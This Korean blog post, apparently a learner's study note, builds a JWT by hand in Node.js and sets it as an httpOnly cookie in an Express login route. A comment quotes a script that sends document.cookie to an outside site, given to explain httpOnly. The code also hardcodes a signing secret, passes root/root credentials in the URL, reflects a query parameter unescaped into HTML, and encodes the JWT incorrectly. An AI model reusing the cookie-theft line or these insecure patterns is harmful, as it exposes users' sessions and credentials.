티스토리 뷰
클라이언트가 서버에게 id와 pw를 보냄.
서버가 id와pw를 DB에서 조회한 다음에 결과가 맞으면 토큰을 생성.
서버는 생성한 토큰을 클라이언트에게 응답을 보내줌.
클라이언트는 토큰을 쿠키에 저장.
이후 클라이언트는 매 요청마다 토큰을 함께 보냄.
const express = require('express');
const crypto = require('crypto');
function createToken(){
let header = {
"alg": "HS256",
"typ": "JWT"
}
let payload =
{
"sub": "1234567890",
"name": "John Doe",
"user":"kkkk123",
"iat": 1516239022
}
let encodedHeader = Buffer.from(JSON.stringify(header)).toString('base64').replace('=','');
//Object 를 String으로 바꾸기 위해 JSON.stringify(header): 객체를 스트링으로 바꾸기 위함.
let encodedPayload = Buffer.from(JSON.stringify(payload)).toString('base64').replace('==','');
// console.log(encodedHeader);
// console.log(encodedPayload);
let signature = crypto.createHmac('SHA256',Buffer.from('duck'))
.update(`${encodedHeader}.${encodedPayload}`)
.digest('base64')
.replace('=','');
console.log(`${encodedHeader}.${encodedPayload}.${signature}`);
// 위에 콘솔 값을 https://jwt.io/ 에서 확인가능
return `${encodedHeader}.${encodedPayload}.${signature}`;
}
let token = createToken();
console.log(token);
module.exports = createToken;
let txt2 = Buffer.from(txt); //16진수로 바꿈.
브라우져 로컬호스트삼천에 요청.
const express =require('express');
const cookieParser = require('cookie-parser');
const app = express();
const token =require('./createToken');
app.use(cookieParser());
app.get('/', (req,res)=>{
let {msg} = req.query;
//개발자 도구 아플리케이션-스토리지- 쿠키 에서 확인
//res.cookie('token','duck'); //set-cookie:'token=duck';
//응답메세지에서 header부분에 쿠키를 생성해서 주겠다.
//브라우저는 이 쿠키를 받아서 브라우저가 갖고있는 저장소에 쿠키를 저장.
//그리고 항상 서버에 그 쿠키를 보내줌
//res.cookie('키','밸류') =>
/*
headers:{
set-cookie:'token=duck', //헤더에 이 코드가 삽입된 상태
}
*/
res.send(`<h1>${msg}</h1><br>hello world<br><a href="/menu1">menu1</a><br><a href="/login?id=root&pw=root">로그인</a>`);
/*
headers:{
...
},
body:{
hello world
}
*/
//res.send나 render는 응답메세지를 완성시켜 보내줌.
})
app.get('/menu1',(req,res)=>{
res.send('menu1페이지입니다.');
})
app.get('/login',(req,res)=>{
const {id,pw} = req.query; //비구조 할당문 선언시 let, const 변수 선언
// 혹시 사용할 이유가 없다면 () 로 묶어서 사용
if(id == 'root' && pw == 'root'){
//토큰생성
let ctoken = token();
//location.href=`http://naver.com?${document.cookie}`
//쿠키를 가로채는 것을 막기위해 세번째 인자 사용.
//쿠키보안을 위해
res.cookie('token',ctoken,{httpOnly:true,secure:true,});
res.redirect('/?msg=로그인 성공')
}else{
res.redirect('/?msg=로그인 실패')
//토큰실패
}
})
app.listen(3000,()=>{
console.log('hello port 3000');
})
728x90
'Node.js' 카테고리의 다른 글
unload 이벤트, navigator.sendBeacon() (0) | 2021.06.22 |
---|---|
게시판 테이블. (0) | 2021.06.09 |
카카오 로그인 맛보기 (0) | 2021.05.21 |
게시판 pagination (0) | 2021.05.03 |
[Node.js]서버 파일 분산 (0) | 2021.05.01 |
공지사항
최근에 올라온 글
최근에 달린 댓글
- Total
- Today
- Yesterday
링크
TAG
- create db
- node.js
- 면접비
- 최소공통조상
- 서버개발
- 다이나믹프로그래밍
- 그래프
- create databases;
- 롱베케이션
- 로드나인
- 면접질문
- 개발자면접
- MOD
- 동적프로그래밍
- 은둔청년체험
- MySQL
- 투포인터 연습
- DB 생성
- 투포인터
- BFS
- 다이나밍프로그래밍
- 서버점검
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
글 보관함